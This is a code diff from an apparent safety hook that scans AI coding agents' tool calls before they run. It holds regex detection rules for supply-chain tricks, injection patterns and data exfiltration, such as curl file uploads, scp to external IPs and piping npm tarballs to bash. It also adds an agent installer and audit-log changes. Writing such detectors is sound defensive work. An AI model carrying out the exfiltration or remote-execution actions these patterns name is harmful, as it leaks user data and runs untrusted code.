+ },
64
275
  // Supply Chain
65
- { regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i, severity: 'high', category: 'Supply Chain', description: 'Suspicious package version pattern' },
66
- { regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i, severity: 'high', category: 'Supply Chain', description: 'Typosquatting package pattern' },
67
- { regex: /preinstall|postinstall|prepare/i, severity: 'medium', category: 'Supply Chain', description: 'Lifecycle script reference' },
68
- { regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i, severity: 'critical', category: 'Supply Chain', description: 'Direct npm tarball execution' },
276
+ {
277
+ regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i,
278
+ severity: 'high',
279
+ category: 'Supply Chain',
280
+ description: 'Suspicious package version pattern',
281
+ },
282
+ {
283
+ regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i,
284
+ severity: 'high',
285
+ category: 'Supply Chain',
286
+ description: 'Typosquatting package pattern',
287
+ },
288
+ {
289
+ regex: /preinstall|postinstall|prepare/i,
290
+ severity: 'medium',
291
+ category: 'Supply Chain',
292
+ description: 'Lifecycle script reference',
293
+ },
294
+ {
295
+ regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i,
296
+ severity: 'critical',
297
+ category: 'Supply Chain',
298
+ description: 'Direct npm tarball execution',
299
+ },
69
300
  // OWASP / Security Misconfig
70
- { regex: /Access-Control-Allow-Origin:\s*\*/i, severity: 'medium', category: 'OWASP', description: 'Wildcard CORS header' },
71
- { regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i, severity: 'high', category: 'OWASP', description: 'SSL certificate verification disabled' },
72
- { regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i, severity: 'medium', category: 'OWASP', description: 'Hardcoded credential' },
73
- { regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i, severity: 'high', category: 'OWASP', description: 'Potential XSS via user input' },
74
- { regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i, severity: 'critical', category: 'OWASP', description: 'SQL injection pattern' },
301
+ {
302
+ regex: /Access-Control-Allow-Origin:\s*\*/i,
303
+ severity: 'medium',
304
+ category: 'OWASP',
305
+ description: 'Wildcard CORS header',
306
+ },
307
+ {
308
+ regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i,
309
+ severity: 'high',
310
+ category: 'OWASP',
311
+ description: 'SSL certificate verification disabled',
312
+ },
313
+ {
314
+ regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i,
315
+ severity: 'medium',
316
+ category: 'OWASP',
317
+ description: 'Hardcoded credential',
318
+ },
319
+ {
320
+ regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i,
321
+ severity: 'high',
322
+ category: 'OWASP',
323
+ description: 'Potential XSS via user input',
324
+ },
325
+ {
326
+ regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i,
327
+ severity: 'critical',
328
+ category: 'OWASP',
329
+ description: 'SQL injection pattern',
330
+ },
75
331
  // Data Exfiltration
76
- { regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i, severity: 'high', category: 'Data Exfiltration', description: 'File upload via curl' },
77
- { regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i, severity: 'high', category: 'Data Exfiltration', description: 'SCP to external IP' },
78
- { regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i, severity: 'medium', category: 'Data Exfiltration', description: 'Mass file sync to remote' },
332
+ {
333
+ regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i,
334
+ severity: 'high',
335
+ category: 'Data Exfiltration',
336
+ description: 'File upload via curl',
337
+ },
338
+ {
339
+ regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i,
340
+ severity: 'high',
341
+ category: 'Data Exfiltration',
342
+ description: 'SCP to external IP',
343
+ },
344
+ {
345
+ regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i,
346
+ severity: 'medium',
347
+ category: 'Data Exfiltration',
348
+ description: 'Mass file sync to remote',
349
+ },
79
350
  ];
80
351
  // ── Risk scoring ────────────────────────────────────────────────────────────
81
352
  const SEVERITY_SCORES = {
@@ -112,16 +383,17 @@ export function calculateRiskScore(findings) {
112
383
  return Math.min(100, score);
113
384
  }
114
385
  // ── Audit log ───────────────────────────────────────────────────────────────
115
- const AUDIT_DIR = join(homedir(), '.codehere', 'audit');
116
- export const AUDIT_FILE = join(AUDIT_DIR, 'hook-events.jsonl');
117
- function ensureAuditDir() {
118
- if (!existsSync(AUDIT_DIR)) {
119
- mkdirSync(AUDIT_DIR, { recursive: true });
120
- }
121
- }
386
+ /**
387
+ * Audit log path — defaults to ~/.codehere/audit/hook-events.jsonl.
388
+ * Override at process start with CODEHERE_AUDIT_FILE env var (used by tests, optional for users).
389
+ */
390
+ export const AUDIT_FILE = process.env.CODEHERE_AUDIT_FILE || join(homedir(), '.codehere', 'audit', 'hook-events.jsonl');
122
391
  export function appendAuditLog(entry) {
123
392
  try {
124
- ensureAuditDir();
393
+ const dir = AUDIT_FILE.substring(0, AUDIT_FILE.lastIndexOf('/'));
394
+ if (dir && !existsSync(dir)) {
395
+ mkdirSync(dir, { recursive: true });
396
+ }
125
397
  appendFileSync(AUDIT_FILE, JSON.stringify(entry) + '\n');
126
398
  }
127
399
  catch {
@@ -181,7 +453,7 @@ function buildScanPayload(toolName, toolInput) {
181
453
  return JSON.stringify(toolInput);
182
454
  }
183
455
  export function processHookEvent(event) {
184
- const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown', } = event;
456
+ const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown' } = event;
185
457
  // Only intercept PreToolUse events
186
458
  if (hook_event_name !== 'PreToolUse') {
187
459
  return null;
@@ -191,7 +463,7 @@ export function processHookEvent(event) {
191
463
  // Layer 0 scan — local, no API, ~2ms
192
464
  const findings = scanPayload(payload);
193
465
  const riskScore = calculateRiskScore(findings);
194
- const criticalFindings = findings.filter(f => f.severity === 'critical');
466
+ const criticalFindings = findings.filter((f) => f.severity === 'critical');
195
467
  // Blocking threshold: critical finding OR risk score too high
196
468
  const blocked = criticalFindings.length > 0 || riskScore >= 60;
197
469
  // Build audit entry
@@ -213,12 +485,12 @@ export function processHookEvent(event) {
213
485
  const topFinding = criticalFindings[0] ?? findings[0];
214
486
  const categoryVoice = {
215
487
  'Prompt Injection': 'Caught a prompt injection attempt',
216
- 'Credential Theft': 'Stopped — this looks like it\'s trying to access credentials',
217
- 'Destructive': 'Stopped — this could delete or destroy data',
488
+ 'Credential Theft': "Stopped — this looks like it's trying to access credentials",
489
+ Destructive: 'Stopped — this could delete or destroy data',
218
490
  'Code Injection': 'Blocked — this pattern looks like code injection',
219
491
  'Supply Chain': 'Blocked — suspicious package or dependency pattern',
220
- 'OWASP': 'Blocked — security misconfiguration pattern',
221
- 'Data Exfiltration': 'Blocked — this looks like it\'s trying to send data out',
492
+ OWASP: 'Blocked — security misconfiguration pattern',
493
+ 'Data Exfiltration': "Blocked — this looks like it's trying to send data out",
222
494
  };
223
495
  const reason = topFinding
224
496
  ? `[codehere] ${categoryVoice[topFinding.category] ?? 'Blocked'} — ${topFinding.description}. (matched: "${topFinding.matched}")`
@@ -76,11 +76,13 @@ export class ExecutionTracer {
76
76
  duration: operation.duration,
77
77
  input: this.sanitizeInput(operation.input),
78
78
  output: this.sanitizeOutput(operation.output),
79
- error: operation.error ? {
80
- message: operation.error.message,
81
- stack: operation.error.stack,
82
- code: operation.error.code,
83
- } : undefined,
79
+ error: operation.error
80
+ ? {
81
+ message: operation.error.message,
82
+ stack: operation.error.stack,
83
+ code: operation.error.code,
84
+ }
85
+ : undefined,
84
86
  metadata: operation.metadata,
85
87
  };
86
88
  this.currentRun.traces.push(trace);
@@ -191,7 +193,10 @@ export class ExecutionTracer {
191
193
  // Limit size and remove sensitive fields
192
194
  const sanitized = JSON.parse(JSON.stringify(input, (key, value) => {
193
195
  // Remove API keys and secrets
194
- if (typeof key === 'string' && (key.toLowerCase().includes('key') || key.toLowerCase().includes('secret') || key.toLowerCase().includes('password'))) {
196
+ if (typeof key === 'string' &&
197
+ (key.toLowerCase().includes('key') ||
198
+ key.toLowerCase().includes('secret') ||
199
+ key.toLowerCase().includes('password'))) {
195
200
  return '[REDACTED]';
196
201
  }
197
202
  // Limit string length
@@ -0,0 +1,13 @@
1
+ /**
2
+ * AgentAdapter — F2 foundation.
3
+ *
4
+ * Uniform interface over every AI coding agent codehere can spawn and manage.
5
+ * One adapter per backend: ClaudeCodeAdapter, CodexAdapter, AiderAdapter, …
6
+ *
7
+ * The interface intentionally carries **optional fields for later PM-UX layers**
8
+ * so we don't force a breaking change when v0.4/v0.5 ship progress roll-up,
9
+ * final report, intervention, and project scope. Unused today, ignored by the
10
+ * current renderer. See memory/project_manager_ux_v1.md for the full shape.
11
+ */
12
+ export {};
13
+ //# sourceMappingURL=agent-adapter.js.map
@@ -0,0 +1,101 @@
1
+ /**
2
+ * Agent installer — runs the install command for a registered adapter.
3
+ *
4
+ * Principle #10 (non-technical users first-class): the user clicks a button,
5
+ * codehere runs the install, streams output back to the UI. No terminal, no
6
+ * copy-paste. If brew isn't present, we fall back to curl/sh or npm-based
7
+ * installers. On success, re-check readiness and tell the UI to refresh.
8
+ *
9
+ * Security: the command comes from adapter source code (built-ins) or from
10
+ * the user's own ~/.codehere/agents.yaml (generic adapters) — never from an
11
+ * HTTP request parameter. We refuse to execute an arbitrary command supplied
12
+ * over the wire.
13
+ */
14
+ import { spawn } from 'child_process';
15
+ import { EventEmitter } from 'events';
16
+ /** Execute an install command in a shell so chained commands (&& / || / |)
17
+ * work. We need the user's shell rc loaded so brew / npm / path extensions
18
+ * resolve — default: `$SHELL -lc "<command>"`. */
19
+ export function runInstallCommand(command) {
20
+ const emitter = new EventEmitter();
21
+ const buffer = [];
22
+ let statusValue = 'running';
23
+ const startedAt = Date.now();
24
+ const emit = (event) => {
25
+ buffer.push(event);
26
+ emitter.emit('event', event);
27
+ };
28
+ const shell = process.env.SHELL || '/bin/zsh';
29
+ let child;
30
+ try {
31
+ child = spawn(shell, ['-lc', command], {
32
+ env: process.env,
33
+ stdio: ['ignore', 'pipe', 'pipe'],
34
+ });
35
+ }
36
+ catch (err) {
37
+ statusValue = 'failed';
38
+ const msg = err instanceof Error ? err.message : String(err);
39
+ queueMicrotask(() => emit({ type: 'error', data: msg }));
40
+ return {
41
+ get status() {
42
+ return statusValue;
43
+ },
44
+ subscribe(handler) {
45
+ for (const e of buffer)
46
+ handler(e);
47
+ emitter.on('event', handler);
48
+ return () => emitter.off('event', handler);
49
+ },
50
+ kill() {
51
+ /* not running */
52
+ },
53
+ };
54
+ }
55
+ child.stdout?.on('data', (chunk) => {
56
+ emit({ type: 'out', data: chunk.toString('utf-8') });
57
+ });
58
+ child.stderr?.on('data', (chunk) => {
59
+ emit({ type: 'err', data: chunk.toString('utf-8') });
60
+ });
61
+ child.on('exit', (code) => {
62
+ statusValue = code === 0 ? 'completed' : 'failed';
63
+ emit({ type: 'done', code, durationMs: Date.now() - startedAt });
64
+ });
65
+ child.on('error', (err) => {
66
+ statusValue = 'failed';
67
+ emit({ type: 'error', data: err.message });
68
+ });
69
+ return {
70
+ get status() {
71
+ return statusValue;
72
+ },
73
+ subscribe(handler) {
74
+ for (const e of buffer)
75
+ handler(e);
76
+ emitter.on('event', handler);
77
+ return () => emitter.off('event', handler);
78
+ },
79
+ kill() {
80
+ if (statusValue !== 'running')
81
+ return;
82
+ try {
83
+ child.kill('SIGTERM');
84
+ }
85
+ catch {
86
+ /* already dead */
87
+ }
88
+ },
89
+ };
90
+ }
91
+ /** Convenience: install a registered adapter. Returns null if adapter has no
92
+ * installHint configured or is already installed. */
93
+ export function installAgent(adapter) {
94
+ if (!adapter.checkReadiness)
95
+ return null;
96
+ const readiness = adapter.checkReadiness();
97
+ if (readiness.state !== 'needs_install' || !readiness.installHint?.command)
98
+ return null;
99
+ return runInstallCommand(readiness.installHint.command);
100
+ }
101
+ //# sourceMappingURL=agent-installer.js.map